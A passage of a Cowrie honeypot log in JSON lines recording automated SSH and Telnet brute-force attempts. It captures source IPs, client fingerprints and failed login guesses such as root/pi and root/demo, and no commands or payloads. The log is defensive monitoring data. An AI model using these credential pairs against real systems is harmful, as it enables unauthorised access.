","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:49.619127Z","src_ip":"101.79.165.133","session":"630b87691e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ljy123456","message":"login attempt [root/Ljy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:50.544174Z","src_ip":"101.79.165.133","session":"630b87691e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:51.770526Z","src_ip":"101.79.165.133","session":"630b87691e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":56208,"dst_ip":"159.203.135.109","dst_port":22,"session":"b69ec937975c","protocol":"ssh","message":"New connection: 27.50.25.190:56208 (159.203.135.109:22) [session: b69ec937975c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:52.688747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:52.692676Z","src_ip":"27.50.25.190","session":"b69ec937975c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:52.921306Z","src_ip":"27.50.25.190","session":"b69ec937975c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pi","message":"login attempt [root/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:53.871192Z","src_ip":"27.50.25.190","session":"b69ec937975c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:55.103419Z","src_ip":"27.50.25.190","session":"b69ec937975c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":56496,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f3c2ba9cf33","protocol":"ssh","message":"New connection: 213.183.120.56:56496 (159.203.135.109:22) [session: 3f3c2ba9cf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:57.379591Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41920,"dst_ip":"159.203.135.109","dst_port":23,"session":"971109a187c5","protocol":"telnet","message":"New connection: 69.4.83.194:41920 (159.203.135.109:23) [session: 971109a187c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:59.675437Z"}
{"eventid":"cowrie.session.closed","duration":120.00186157226562,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:00.760868Z","src_ip":"87.153.70.254","session":"b646e12295bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":40554,"dst_ip":"159.203.135.109","dst_port":22,"session":"adfbaeb57698","protocol":"ssh","message":"New connection: 182.18.161.165:40554 (159.203.135.109:22) [session: adfbaeb57698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:01.223057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:01.228692Z","src_ip":"182.18.161.165","session":"adfbaeb57698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:01.439427Z","src_ip":"182.18.161.165","session":"adfbaeb57698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:02.278202Z","src_ip":"182.18.161.165","session":"adfbaeb57698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:03.483183Z","src_ip":"182.18.161.165","session":"adfbaeb57698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:27.969095Z","src_ip":"213.183.120.56","session":"952b2023f496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84202289581299,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:33.517363Z","src_ip":"69.4.83.194","session":"971109a187c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":59654,"dst_ip":"159.203.135.109","dst_port":22,"session":"7885c6be2925","protocol":"ssh","message":"New connection: 4.194.4.255:59654 (159.203.135.109:22) [session: 7885c6be2925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:37.516538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:37.521283Z","src_ip":"4.194.4.255","session":"7885c6be2925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:37.762936Z","src_ip":"4.194.4.255","session":"7885c6be2925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demo","message":"login attempt [root/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:38.762934Z","src_ip":"4.194.4.255","session":"7885c6be2925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":59146,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f664d14ab10","protocol":"ssh","message":"New connection: 46.19.67.181:59146 (10.17.0.5:22) [session: 1f664d14ab10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:38.895327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:38.900058Z","src_ip":"46.19.67.181","session":"1f664d14ab10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:39.012744Z","src_ip":"46.19.67.181","session":"1f664d14ab10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfcnfcbz123","message":"login attempt [root/fyfcnfcbz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:39.360238Z","src_ip":"46.19.67.181","session":"1f664d14ab10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:40.007807Z","src_ip":"4.194.4.255","session":"7885c6be2925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:40.474515Z","src_ip":"46.19.67.181","session":"1f664d14ab10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":36622,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfaff4e10136","protocol":"ssh","message":"New connection: 103.148.100.146:36622 (159.203.135.109:22) [session: bfaff4e10136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:46.555959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:46.560922Z","src_ip":"103.148.100.146","session":"bfaff4e10136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:46.836496Z","src_ip":"103.148.100.146","session":"bfaff4e10136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:47.948238Z","src_ip":"103.148.100.146","session":"bfaff4e10136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:46:49.225013Z","src_ip":"103.148.100.146","session":"bfaff4e10136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":50194,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e98dacb94e3","protocol":"ssh","message":"New connection: 182.18.161.165:50194 (159.203.135.109:22) [session: 1e98dacb94e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:16.967706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:16.972898Z","src_ip":"182.18.161.165","session":"1e98dacb94e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:17.173536Z","src_ip":"182.18.161.165","session":"1e98dacb94e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test01","message":"login attempt [test/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:18.008756Z","src_ip":"182.18.161.165","session":"1e98dacb94e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:19.212548Z","src_ip":"182.18.161.165","session":"1e98dacb94e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":34320,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ad4f4b1683","protocol":"ssh","message":"New connection: 213.183.120.56:34320 (159.203.135.109:22) [session: 43ad4f4b1683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:20.912250Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44870,"dst_ip":"159.203.135.109","dst_port":23,"session":"9821d74c84d2","protocol":"telnet","message":"New connection: 69.4.83.194:44870 (159.203.135.109:23) [session: 9821d74c84d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:22.494826Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":41124,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a80add6ffa","protocol":"ssh","message":"New connection: 27.50.25.190:41124 (159.203.135.109:22) [session: 84a80add6ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:23.487382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:23.492046Z","src_ip":"27.50.25.190","session":"84a80add6ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:23.723766Z","src_ip":"27.50.25.190","session":"84a80add6ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demo","message":"login attempt [root/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:24.667126Z","src_ip":"27.50.25.190","session":"84a80add6ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:25.899053Z","src_ip":"27.50.25.190","session":"84a80add6ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29892,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fdfbef6a93c","protocol":"ssh","message":"New connection: 87.251.64.176:29892 (10.17.0.5:22) [session: 1fdfbef6a93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:28.348830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:28.353927Z","src_ip":"87.251.64.176","session":"1fdfbef6a93c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha